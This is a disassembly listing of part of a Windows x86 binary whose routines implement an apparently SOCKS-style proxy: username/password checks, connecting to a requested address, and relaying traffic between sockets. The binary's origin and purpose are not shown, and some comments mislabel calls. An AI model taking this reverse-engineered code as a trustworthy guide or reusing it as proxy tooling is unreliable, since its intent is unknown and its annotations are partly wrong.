loc_42BA56: ; CODE XREF: sub_42B8E0+16Fj
mov esi, dword_511C9C
push edi
call esi ; closesocket
push 0FFFFFFFFh
call esi ; closesocket
pop edi
pop esi
pop ebp
mov al, 1
pop ebx
add esp, 51Ch
retn 0Ch
; ---------------------------------------------------------------------------
loc_42BA72: ; CODE XREF: sub_42B8E0+35j
; sub_42B8E0+86j ...
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 51Ch
retn 0Ch
sub_42B8E0 endp
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 70h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42BB00 proc near ; CODE XREF: sub_42C5C0:loc_4013A2j
var_82C = dword ptr -82Ch
var_828 = dword ptr -828h
var_824 = dword ptr -824h
var_820 = dword ptr -820h
var_81C = byte ptr -81Ch
var_81A = word ptr -81Ah
var_818 = dword ptr -818h
var_80C = dword ptr -80Ch
var_808 = dword ptr -808h
var_7E8 = dword ptr -7E8h
var_7E4 = dword ptr -7E4h
var_708 = byte ptr -708h
var_707 = byte ptr -707h
var_705 = dword ptr -705h
var_604 = word ptr -604h
var_600 = dword ptr -600h
var_5F0 = byte ptr -5F0h
var_200 = byte ptr -200h
var_100 = byte ptr -100h
arg_0 = dword ptr 4
sub esp, 82Ch
push ebx
push ebp
push esi
mov esi, [esp+838h+arg_0]
cmp esi, 0FFFFFFFFh
push edi
mov ebp, ecx
mov [esp+83Ch+var_828], 0
mov [esp+83Ch+var_82C], 0Bh
mov [esp+83Ch+var_808], esi
mov [esp+83Ch+var_80C], 1
jz loc_42BDBA
mov eax, [ebp-8]
mov ecx, [eax+4]
mov ax, [ecx+ebp-2]
cmp ax, 1
jnz loc_42BED6
mov edi, dword_511C94
lea edx, [esp+83Ch+var_82C]
push edx
push 0
lea eax, [esp+844h+var_80C]
push 0
push eax
push 1
call edi ; select
test eax, eax
jle loc_42BF63
lea ecx, [esp+83Ch+var_80C]
push ecx
push esi
call sub_438256
; ---------------------------------------------------------------------------
dd 840FC085h, 3E3h, 16A066Ah, 0E890026Ah, 71688005h, 89FFF883h
dd 0F1C2444h, 22184h, 0A41D8B00h, 6A00511Ch, 24948D00h
dd 240h, 5652026Ah, 0BC80D3FFh, 23C24h, 850F0500h, 1FEh
dd 2484BE0Fh, 23Dh, 948DC933h, 23C24h, 248C8900h, 23Ch
dd 40248C89h, 66000002h, 44248C89h, 51000002h, 88565250h
dd 256248Ch, 0D3FF0000h, 26A006Ah, 44730868h, 8BE85600h
dd 90716886h, 1024448Dh, 30244C8Dh, 6A006A50h, 16A5100h
dd 282444C7h, 0
; ---------------------------------------------------------------------------
mov [esp+82Ch+var_808], 7
mov [esp+82Ch+var_7E4], esi
mov [esp+82Ch+var_7E8], 1
call edi ; select
xor eax, eax
lea edx, [esp+82Ch+var_5F0]
push eax
mov ecx, 20h
lea edi, [esp+830h+var_5F0]
push 2
push edx
push esi
rep stosd
call ebx ; socket
cmp byte ptr [esp+83Ch+var_600], 1
jnz loc_42BDBA
movsx eax, byte ptr [esp+83Ch+var_600+1]
push 0
lea ecx, [esp+840h+var_200]
push eax
push ecx
push esi
call ebx ; socket
movsx edx, byte ptr [esp+83Ch+var_600+1]
push 0
lea eax, [esp+840h+var_600]
push 1
push eax
push esi
mov [esp+edx+84Ch+var_200], 0
call ebx ; socket
movsx ecx, byte ptr [esp+83Ch+var_600]
push 0
lea edx, [esp+840h+var_100]
push ecx
push edx
push esi
call ebx ; socket
movsx eax, byte ptr [esp+83Ch+var_600]
mov ecx, [ebp-8]
mov [esp+eax+83Ch+var_100], 0
mov ecx, [ecx+4]
add ecx, ebp
call sub_4017EE
mov edi, eax
lea ecx, [esp+83Ch+var_200]
loc_42BCCB: ; CODE XREF: sub_42BB00+1E9j
mov dl, [ecx]
mov al, dl
cmp dl, [edi]
jnz short loc_42BCEF
test al, al
jz short loc_42BCEB
mov dl, [ecx+1]
mov al, dl
cmp dl, [edi+1]
jnz short loc_42BCEF
add ecx, 2
add edi, 2
test al, al
jnz short loc_42BCCB
loc_42BCEB: ; CODE XREF: sub_42BB00+1D5j
xor eax, eax
jmp short loc_42BCF4
; ---------------------------------------------------------------------------
loc_42BCEF: ; CODE XREF: sub_42BB00+1D1j
; sub_42BB00+1DFj
sbb eax, eax
sbb eax, 0FFFFFFFFh
loc_42BCF4: ; CODE XREF: sub_42BB00+1EDj
test eax, eax
jz short loc_42BD51
mov eax, [ebp-8]
mov ecx, [eax+4]
lea ecx, [ecx+ebp+15h]
call sub_4017EE
lea edi, [esp+83Ch+var_100]
loc_42BD0E: ; CODE XREF: sub_42BB00+22Cj
mov dl, [edi]
mov cl, dl
cmp dl, [eax]
jnz short loc_42BD32
test cl, cl
jz short loc_42BD2E
mov dl, [edi+1]
mov cl, dl
cmp dl, [eax+1]
jnz short loc_42BD32
add edi, 2
add eax, 2
test cl, cl
jnz short loc_42BD0E
loc_42BD2E: ; CODE XREF: sub_42BB00+218j
xor eax, eax
jmp short loc_42BD37
; ---------------------------------------------------------------------------
loc_42BD32: ; CODE XREF: sub_42BB00+214j
; sub_42BB00+222j
sbb eax, eax
sbb eax, 0FFFFFFFFh
loc_42BD37: ; CODE XREF: sub_42BB00+230j
test eax, eax
jz short loc_42BD51
push esi
nop
call near ptr 71AB9639h
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 82Ch
retn 4
; ---------------------------------------------------------------------------
loc_42BD51: ; CODE XREF: sub_42BB00+1F6j
; sub_42BB00+239j
mov edi, dword_511CA0
push 0
push 2
push offset dword_447304
push esi
call edi ; send
lea eax, [esp+83Ch+var_82C]
lea ecx, [esp+83Ch+var_80C]
push eax
push 0
push 0
push ecx
push 1
mov [esp+850h+var_808], esi
mov [esp+850h+var_80C], 1
call near ptr 71AB2DC0h
nop
lea edx, [esp+83Ch+var_80C]
push edx
push esi
call sub_438256
; ---------------------------------------------------------------------------
test eax, eax
jz short loc_42BDBA
push 0
lea eax, [esp+840h+var_708]
push 4
push eax
push esi
call ebx ; socket
mov eax, [esp+83Ch+var_705]
and eax, 0FFh
dec eax
jz short loc_42BE21
sub eax, 2
jz short loc_42BDC9
dec eax
loc_42BDB8: ; CODE XREF: sub_42BB00+31Fj
jnz short loc_42BE30
loc_42BDBA: ; CODE XREF: sub_42BB00+32j
; sub_42BB00+154j ...
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 82Ch
retn 4
; ---------------------------------------------------------------------------
loc_42BDC9: ; CODE XREF: sub_42BB00+2B5j
push 0
lea ecx, [esp+840h+var_600]
push 1
push ecx
push esi
call ebx ; socket
movsx edx, byte ptr [esp+83Ch+var_600]
push 0
lea eax, [esp+840h+var_705+1]
push edx
push eax
push esi
call ebx ; socket
movsx ecx, byte ptr [esp+83Ch+var_600]
lea edx, [esp+83Ch+var_600]
lea eax, [esp+83Ch+var_705+1]
mov byte ptr [esp+ecx+83Ch+var_705+1], 0
mov ecx, [ebp-8]
push edx
push eax
mov edx, [ecx+4]
lea ecx, [edx+ebp-8]
call sub_401758
test al, al
jmp short loc_42BDB8
; ---------------------------------------------------------------------------
loc_42BE21: ; CODE XREF: sub_42BB00+2B0j
push 0
lea eax, [esp+840h+var_600]
push 4
push eax
push esi
call ebx ; socket
loc_42BE30: ; CODE XREF: sub_42BB00:loc_42BDB8j
push 0
lea ecx, [esp+840h+var_604]
push 2
push ecx
push esi
call ebx ; socket
cmp [esp+83Ch+var_707], 1
jnz loc_42BDBA
mov ebx, [esp+83Ch+var_820]
mov dx, [esp+83Ch+var_604]
mov eax, [esp+83Ch+var_600]
lea ecx, [esp+83Ch+var_81C]
push 10h
push ecx
push ebx
mov word ptr [esp+848h+var_81C], 2
mov [esp+848h+var_81A], dx
mov [esp+848h+var_818], eax
nop
call near ptr 71AB406Ah
test eax, eax
jnz loc_42BDBA
push eax
push 4
push offset dword_4472FC
push esi
call edi ; send
push 0
lea edx, [esp+840h+var_600]
push 4
push edx
push esi
call edi ; send
push 0
lea eax, [esp+840h+var_604]
push 2
push eax
push esi
call edi ; send
mov ecx, [ebp-8]
push ebx
push esi
mov edx, [ecx+4]
lea ecx, [edx+ebp-8]
call sub_4020E0
push ebx
call near ptr 71AB9639h
nop
pop edi
pop esi
pop ebp
mov al, 1
pop ebx
add esp, 82Ch
retn 4
; ---------------------------------------------------------------------------
loc_42BED6: ; CODE XREF: sub_42BB00+47j
cmp ax, 2
jnz loc_42BF63
mov ebx, dword_511C94
loc_42BEE6: ; CODE XREF: sub_42BB00+461j
lea eax, [esp+83Ch+var_82C]
lea ecx, [esp+83Ch+var_80C]
push eax
push 0
push 0
push ecx
push 1
mov [esp+850h+var_808], esi
mov [esp+850h+var_80C], 1
call ebx ; select
lea edx, [esp+83Ch+var_824]
lea eax, [esp+83Ch+var_81C]
push edx
push eax
push 0
lea ecx, [esp+848h+var_600]
push 3FFh
push ecx
push esi
mov [esp+854h+var_824], 10h
nop
call near ptr 71AB2D0Fh
mov ecx, [ebp-8]
mov edi, eax
lea edx, [esp+83Ch+var_600]
push edi
push edx
mov edx, [ecx+4]
lea eax, [esp+844h+var_81C]
push eax
lea ecx, [edx+ebp-8]
call sub_401C30
test edi, edi
jz short loc_42BF63
cmp edi, 0FFFFFFFFh
jz short loc_42BF63
lea eax, [esp+83Ch+var_80C]
push eax
push esi
call sub_438256
; ---------------------------------------------------------------------------
test eax, eax
jnz short loc_42BEE6
loc_42BF63: ; CODE XREF: sub_42BB00+67j
; sub_42BB00+3DAj ...
pop edi
pop esi
pop ebp
mov al, 1
pop ebx
add esp, 82Ch
retn 4
sub_42BB00 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 120h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42C0A0 proc near ; CODE XREF: sub_401F37j
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
sub esp, 10h
push esi
mov esi, ecx
mov eax, [esi+32h]
test eax, eax
jz short loc_42C0B4
xor al, al
pop esi
add esp, 10h
retn
; ---------------------------------------------------------------------------
loc_42C0B4: ; CODE XREF: sub_42C0A0+Bj
xor eax, eax
mov ax, [esi+6]
dec eax
jz short loc_42C0C6
dec eax
jz short loc_42C0E8
mov word ptr [esi+6], 1
loc_42C0C6: ; CODE XREF: sub_42C0A0+1Bj
mov eax, 1
mov ecx, 6
loc_42C0D0: ; CODE XREF: sub_42C0A0+52j
push ecx
push eax
push 2
call near ptr 71AB3B91h
nop
test eax, eax
mov [esi+32h], eax
jnz short loc_42C0F4
xor al, al
pop esi
add esp, 10h
retn
; ---------------------------------------------------------------------------
loc_42C0E8: ; CODE XREF: sub_42C0A0+1Ej
mov eax, 2
mov ecx, 11h
jmp short loc_42C0D0
; ---------------------------------------------------------------------------
loc_42C0F4: ; CODE XREF: sub_42C0A0+3Fj
mov ax, [esi+4]
mov [esp+14h+var_10], 2
push eax
mov [esp+18h+var_C], 0
call near ptr 71AB2B66h
nop
mov edx, [esi+32h]
lea ecx, [esp+14h+var_10]
push 10h
push ecx
push edx
mov [esp+20h+var_E], ax
nop
call near ptr 71AB3E00h
test eax, eax
jz short loc_42C139
mov eax, [esi+32h]
push eax
nop
call near ptr 71AB9639h
xor al, al
pop esi
add esp, 10h
retn
; ---------------------------------------------------------------------------
loc_42C139: ; CODE XREF: sub_42C0A0+86j
cmp word ptr [esi+6], 1
jnz short loc_42C161
mov ecx, [esi+32h]
push 3
push ecx
nop
call near ptr 71AB88D3h
test eax, eax
jz short loc_42C161
mov edx, [esi+32h]
push edx
nop
call near ptr 71AB9639h
xor al, al
pop esi
add esp, 10h
retn
; ---------------------------------------------------------------------------
loc_42C161: ; CODE XREF: sub_42C0A0+9Ej
; sub_42C0A0+AEj
mov al, 1
pop esi
add esp, 10h
retn
sub_42C0A0 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 40h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42C1B0 proc near ; CODE XREF: sub_401DD4j
var_24 = byte ptr -24h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset SEH_42C1B0
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 18h
push ebx
push esi
push edi
mov edi, ecx
mov [ebp+var_10], esp
mov ax, [edi+6]
cmp ax, 1
jnz short loc_42C24A
mov eax, [edi+32h]
mov [ebp+var_14], 10h
test eax, eax
jz short loc_42C231
mov ebx, dword_511C98
lea ecx, [ebp+var_14]
lea edx, [ebp+var_24]
push ecx
push edx
push eax
call ebx ; accept
mov esi, eax
test esi, esi
jnz short loc_42C216
loc_42C202: ; CODE XREF: sub_42C1B0+64j
mov edx, [edi+32h]
lea eax, [ebp+var_14]
lea ecx, [ebp+var_24]
push eax
push ecx
push edx
call ebx ; accept
mov esi, eax
test esi, esi
jz short loc_42C202
loc_42C216: ; CODE XREF: sub_42C1B0+50j
mov eax, [edi]
push esi
mov ecx, edi
mov [ebp+var_4], 0
call dword ptr [eax]
push esi
mov bl, al
call near ptr 71AB9639h
nop
test bl, bl
jnz short loc_42C26A
loc_42C231: ; CODE XREF: sub_42C1B0+39j
; sub_42C1B0+9Ej ...
xor al, al
mov ecx, [ebp+var_C]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
loc_42C244: ; DATA XREF: ___:00442FACo
mov eax, offset loc_42C231
retn
; ---------------------------------------------------------------------------
loc_42C24A: ; CODE XREF: sub_42C1B0+2Bj
cmp ax, 2
jnz short loc_42C231
mov eax, [edi+32h]
mov edx, [edi]
push eax
mov ecx, edi
call dword ptr [edx]
mov ecx, [edi+32h]
mov bl, al
push ecx
call near ptr 71AB9639h
nop
test bl, bl
jz short loc_42C231
loc_42C26A: ; CODE XREF: sub_42C1B0+7Fj
mov ecx, [ebp+var_C]
pop edi
pop esi
mov al, 1
mov large fs:0, ecx
pop ebx
mov esp, ebp
pop ebp
retn
sub_42C1B0 endp
; ---------------------------------------------------------------------------
db 3 dup(90h)
db 40h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42C2C0: ; CODE XREF: ___:00401F96j
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset loc_43CEB0
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push ebx
push esi
mov esi, [ebp+8]
push edi
mov [ebp-10h], esp
mov dword ptr [ebp-4], 0
mov eax, [esi]
mov ecx, [eax+4]
mov eax, [ecx+esi+32h]
add ecx, esi
push eax
mov edx, [ecx]
call dword ptr [edx]
mov ecx, [esi]
mov edx, [ecx+4]
mov eax, [edx+esi+32h]
push eax
call near ptr 71AB9639h
nop
loc_42C309: ; DATA XREF: ___:loc_42C321o
mov ecx, [ebp-0Ch]
pop edi
pop esi
mov eax, 1
mov large fs:0, ecx
pop ebx
mov esp, ebp
pop ebp
retn 4
; ---------------------------------------------------------------------------
loc_42C321: ; DATA XREF: ___:0044300Co
mov eax, offset loc_42C309
retn
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42C350 proc near ; CODE XREF: sub_401C2Bj
var_19C = byte ptr -19Ch
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_4 = byte ptr 8
arg_1C = byte ptr 20h
push 0FFFFFFFFh
push offset SEH_42C350
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 194h
lea eax, [esp+1A0h+var_19C]
mov [esp+1A0h+var_4], 1
push eax
push 2
call near ptr 71AB664Dh
nop
test eax, eax
jz short loc_42C3C7
loc_42C387: ; CODE XREF: ___:0042C456j
lea ecx, [esp+1A0h+arg_4]
mov byte ptr [esp+1A0h+var_4], 0
call sub_401226
lea ecx, [esp+1A0h+arg_1C]
mov [esp+1A0h+var_4], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+1A0h+var_C]
mov large fs:0, ecx
add esp, 1A0h
retn
; ---------------------------------------------------------------------------
loc_42C3C7: ; CODE XREF: sub_42C350+35j
push 42h
call sub_437AEA
sub_42C350 endp
; ---------------------------------------------------------------------------
add esp, 4
mov [esp+0], eax
test eax, eax
mov byte ptr [esp+19Ch], 2
jz short loc_42C3EC
push 1
mov ecx, eax
call sub_4014F1
jmp short loc_42C3EE
; ---------------------------------------------------------------------------
loc_42C3EC: ; CODE XREF: ___:0042C3DFj
xor eax, eax
loc_42C3EE: ; CODE XREF: ___:0042C3EAj
mov dword_5103B4, eax
mov ecx, [eax]
mov byte ptr [esp+19Ch], 1
mov edx, [ecx+4]
mov cx, [esp+1A4h]
mov [edx+eax+4], cx
mov eax, dword_5103B4
lea edx, [esp+1A8h]
mov ecx, [eax]
push edx
mov edx, [ecx+4]
lea ecx, [edx+eax+8]
call sub_40202C
lea eax, [esp+1C0h]
push eax
mov eax, dword_5103B4
mov ecx, [eax]
mov edx, [ecx+4]
lea ecx, [edx+eax+1Dh]
call sub_40202C
mov eax, dword_5103B4
mov ecx, [eax]
mov ecx, [ecx+4]
add ecx, eax
call sub_401F37
test al, al
jz loc_42C387
loc_42C45C: ; CODE XREF: ___:0042C46Dj
mov eax, dword_5103B4
mov edx, [eax]
mov ecx, [edx+4]
add ecx, eax
call sub_401DD4
jmp short loc_42C45C
; ---------------------------------------------------------------------------
db 90h
db 50h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42C4C0 proc near ; CODE XREF: sub_4014F1j
var_4 = dword ptr -4
arg_0 = dword ptr 4
push ecx
mov eax, [esp+4+arg_0]
push esi
test eax, eax
mov esi, ecx
mov [esp+8+var_4], 0
jz short loc_42C4E2
lea ecx, [esi+8]
mov dword ptr [esi], offset dword_43F190
call sub_4014B5
loc_42C4E2: ; CODE XREF: sub_42C4C0+12j
mov eax, [esi]
mov ecx, [eax+4]
mov dword ptr [ecx+esi], offset off_43F18C
mov edx, [esi]
mov eax, [edx+4]
lea ecx, [eax-8]
mov [eax+esi-4], ecx
mov eax, esi
pop esi
pop ecx
retn 4
sub_42C4C0 endp
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42C530 proc near ; CODE XREF: sub_4014B5j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_42C530
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
lea ecx, [esi+8]
call sub_40142E
lea ecx, [esi+1Dh]
mov [esp+14h+var_4], 0
call sub_40142E
mov ecx, [esp+14h+var_C]
mov dword ptr [esi], offset off_43F19C
mov dword ptr [esi+32h], 0
mov word ptr [esi+6], 1
mov word ptr [esi+4], 0
mov dword ptr [esi+36h], 1000h
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_42C530 endp
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42C5C0 proc near ; CODE XREF: sub_4020EFj
; FUNCTION CHUNK AT 004013A2 SIZE 00000005 BYTES
sub ecx, [ecx-4]
jmp loc_4013A2
sub_42C5C0 endp
; ---------------------------------------------------------------------------
align 10h
loc_42C5D0: ; CODE XREF: ___:00401352j
push 0FFFFFFFFh
push offset loc_43CF28
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+4], esi
call sub_401FA0
push offset off_444D64
lea ecx, [esi+11h]
mov dword ptr [esp+14h], 0
mov dword ptr [esi], offset off_43F1A0
call sub_4015E1
mov ecx, [esp+8]
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
; ---------------------------------------------------------------------------
db 90h
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42C640 proc near ; CODE XREF: ___:00401398j sub_401F5Fj
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_4011BD
test [esp+4+arg_0], 1
jz short loc_42C658
push esi
call sub_437AD2
; ---------------------------------------------------------------------------
add esp, 4
loc_42C658: ; CODE XREF: sub_42C640+Dj
mov eax, esi
pop esi
retn 4
sub_42C640 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_42C670 proc near ; CODE XREF: sub_4011BDj
jmp sub_4017A8
sub_42C670 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42C690: ; CODE XREF: ___:loc_40134Dj
mov eax, 1000h
call sub_437B30
push ebx
push ebp
push esi
mov esi, ecx
push edi
mov eax, [esi+99h]
mov cl, [eax+11Ch]
test cl, cl
jz short loc_42C71C
mov ebx, dword_511CA4
mov ebp, dword_511CA0
loc_42C6BC: ; CODE XREF: ___:0042C71Aj
mov edx, [esi+9Dh]
mov ecx, 400h
xor eax, eax
lea edi, [esp+10h]
rep stosd
push eax
mov eax, [edx+0A5h]
lea ecx, [esp+14h]
push 1000h
push ecx
push eax
call ebx ; recv
test eax, eax
jz short loc_42C71C
cmp eax, 0FFFFFFFFh
jz short loc_42C71C
mov edx, [esi+9Dh]
push 0
push eax
lea ecx, [esp+18h]
mov eax, [edx+0A1h]
push ecx
push eax
call ebp ; send
test eax, eax
jz short loc_42C71C
cmp eax, 0FFFFFFFFh
jz short loc_42C71C
mov ecx, [esi+99h]
mov al, [ecx+11Ch]
test al, al
jnz short loc_42C6BC
loc_42C71C: ; CODE XREF: ___:0042C6AEj
; ___:0042C6E5j ...
mov edx, [esi+9Dh]
pop edi
pop esi
pop ebp
mov eax, [edx+0A1h]
pop ebx
cmp eax, 0FFFFFFFFh
jz short loc_42C738
push eax
call near ptr 71AB9639h
nop
loc_42C738: ; CODE XREF: ___:0042C72Fj
add esp, 1000h
retn
; ---------------------------------------------------------------------------
db 90h
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42C770 proc near ; CODE XREF: sub_40166Dj
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_42C770
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
call sub_401FA0
push offset off_444D64
lea ecx, [esi+11h]
mov [esp+18h+var_4], 0
mov dword ptr [esi], offset off_43F1B0
call sub_4015E1
mov ecx, [esp+14h+var_C]
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_42C770 endp
; ---------------------------------------------------------------------------
db 90h
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42C7E0 proc near ; CODE XREF: ___:004013A7j sub_401B36j
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_401217
test [esp+4+arg_0], 1
jz short loc_42C7F8
push esi
call sub_437AD2
; ---------------------------------------------------------------------------
add esp, 4
loc_42C7F8: ; CODE XREF: sub_42C7E0+Dj
mov eax, esi
pop esi
retn 4
sub_42C7E0 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_42C810 proc near ; CODE XREF: sub_401217j
jmp sub_4017A8
sub_42C810 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42C830 proc near ; CODE XREF: sub_401537j
var_50 = byte ptr -50h
var_40 = byte ptr -40h
var_30 = byte ptr -30h
var_28 = dword ptr -28h
var_20 = byte ptr -20h
var_1C = dword ptr -1Ch
var_C = byte ptr -0Ch
var_A = word ptr -0Ah
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 4
mov eax, 1014h
call sub_437B30
push ebx
push ebp
push esi
mov esi, ecx
push edi
or edi, 0FFFFFFFFh
mov eax, [esi+99h]
mov [esi+0A5h], edi
mov cl, [eax+11Ch]
test cl, cl
jz loc_42C9FA
mov ebx, 1
push 6
push ebx
push 2
call near ptr 71AB3B91h
nop
cmp eax, edi
mov [esi+0A5h], eax
jnz short loc_42C888
mov [esi+0A5h], edi
pop edi
pop esi
pop ebp
pop ebx
add esp, 1014h
retn
; ---------------------------------------------------------------------------
loc_42C888: ; CODE XREF: sub_42C830+45j
mov dx, [esi+3Fh]
xor ecx, ecx
mov [esp+1Ch+var_8], ecx
push edx
mov [esp+20h+var_4], ecx
mov word ptr [esp+20h+var_8], 2
mov [esp+20h], ecx
mov [esp+20h+arg_0], ecx
call near ptr 71AB2B66h
nop
lea ecx, [esi+43h]
mov [esp+20h+var_A], ax
call sub_4017EE
push eax
call sub_40188E
add esp, 4
cmp eax, edi
mov [esp+20h+var_8], eax
jnz short loc_42C8E2
mov eax, [esi+0A5h]
push eax
call near ptr 71AB9639h
nop
pop edi
pop esi
pop ebp
pop ebx
add esp, 1014h
retn
; ---------------------------------------------------------------------------
loc_42C8E2: ; CODE XREF: sub_42C830+98j
mov edx, [esi+0A5h]
lea ecx, [esp+20h+var_C]
push 10h
push ecx
push edx
call near ptr 71AB406Ah
nop
cmp eax, edi
jnz short loc_42C912
mov eax, [esi+0A5h]
push eax
nop
call near ptr 71AB9639h
pop edi
pop esi
pop ebp
pop ebx
add esp, 1014h
retn
; ---------------------------------------------------------------------------
loc_42C912: ; CODE XREF: sub_42C830+C8j
mov edx, [esi+0A1h]
mov edi, dword_511CAC
lea ecx, [esp+2Ch+var_1C]
mov [esp+2Ch+var_1C], ebx
push ecx
push 8004667Eh
push edx
call edi ; ioctlsocket
mov ecx, [esi+0A5h]
lea eax, [esp+38h+var_28]
push eax
push 8004667Eh
push ecx
mov [esp+44h+var_28], ebx
call edi ; ioctlsocket
mov edx, [esi+99h]
mov al, [edx+11Ch]
test al, al
jz loc_42C9FA
mov ebx, dword_511CA4
mov ebp, dword_511CA0
loc_42C966: ; CODE XREF: sub_42C830+1BAj
mov ecx, [esi+0A5h]
push 0
lea eax, [esp+48h+var_20]
push 1000h
push eax
push ecx
call ebx ; recv
mov edi, eax
test edi, edi
jz short loc_42C9FA
jge short loc_42C990
nop
call near ptr 71AB94DCh
cmp eax, 2733h
jnz short loc_42C9F2
loc_42C990: ; CODE XREF: sub_42C830+151j
mov eax, [esi+0A1h]
push 0
lea edx, [esp+58h+var_30]
push edi
push edx
push eax
call ebp ; send
mov edx, [esi+0A1h]
push 0
lea ecx, [esp+68h+var_40]
push 1000h
push ecx
push edx
call ebx ; recv
mov edi, eax
test edi, edi
jz short loc_42C9FA
jge short loc_42C9CB
nop
call near ptr 71AB94DCh
cmp eax, 2733h
jnz short loc_42C9F2
loc_42C9CB: ; CODE XREF: sub_42C830+18Cj
mov ecx, [esi+0A5h]
push 0
lea eax, [esp+78h+var_50]
push edi
push eax
push ecx
call ebp ; send
mov edx, [esi+99h]
mov al, [edx+11Ch]
test al, al
jnz loc_42C966
jmp short loc_42C9FA
; ---------------------------------------------------------------------------
loc_42C9F2: ; CODE XREF: sub_42C830+15Ej
; sub_42C830+199j
push 0Ah
call near ptr 2830000h
nop
loc_42C9FA: ; CODE XREF: sub_42C830+27j
; sub_42C830+124j ...
mov eax, [esi+0A1h]
mov edi, dword_511C9C
cmp eax, 0FFFFFFFFh
jz short loc_42CA0E
push eax
call edi ; closesocket
loc_42CA0E: ; CODE XREF: sub_42C830+1D9j
mov esi, [esi+0A5h]
cmp esi, 0FFFFFFFFh
jz short loc_42CA1C
push esi
call edi ; closesocket
loc_42CA1C: ; CODE XREF: sub_42C830+1E7j
pop edi
pop esi
pop ebp
pop ebx
add esp, 1014h
retn
sub_42C830 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 80h dup(0CCh)
db 6Ah ; j
db 0FFh
db 68h ; h
db 68h ; h
db 0CFh ; о
db 43h ; C
db 0
db 64h ; d
db 0A1h ; ║
db 0
db 0
db 0
db 0
db 50h ; P
db 64h ; d
db 89h ; ┴
db 25h ; %
db 0
db 0
db 0
db 0
db 51h ; Q
db 56h ; V
db 8Bh ; ▀
db 0F1h ; Я
db 89h ; ┴
db 74h ; t
db 24h ; $
db 4
db 0E8h ; Х
db 0CEh ; н
db 54h ; T
db 0FDh ; Щ
db 0FFh
db 68h ; h
db 64h ; d
db 4Dh ; M
db 44h ; D
db 0
db 8Dh ; █
db 4Eh ; N
db 11h
db 0C7h ; г
db 44h ; D
db 24h ; $
db 14h
db 0
db 0
db 0
db 0
db 0C7h ; г
db 6
db 0C0h ; ю
db 0F1h ; Я
db 43h ; C
db 0
db 0E8h ; Х
db 0F4h ; Т
db 4Ah ; J
db 0FDh ; Щ
db 0FFh
db 8Bh ; ▀
db 4Ch ; L
db 24h ; $
db 8
db 8Bh ; ▀
db 0C6h ; ф
db 5Eh ; ^
db 64h ; d
db 89h ; ┴
db 0Dh
db 0
db 0
db 0
db 0
db 83h ; ┐
db 0C4h ; д
db 10h
db 0C3h ; ц
db 90h
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42CB20: ; CODE XREF: ___:loc_4015FAj
; ___:00401FC8j
push esi
mov esi, ecx
call sub_401B9F
test byte ptr [esp+8], 1
jz short loc_42CB38
push esi
call sub_437AD2
; ---------------------------------------------------------------------------
add esp, 4
loc_42CB38: ; CODE XREF: ___:0042CB2Dj
mov eax, esi
pop esi
retn 4
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_42CB50 proc near ; CODE XREF: sub_401B9Fj
jmp sub_4017A8
sub_42CB50 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
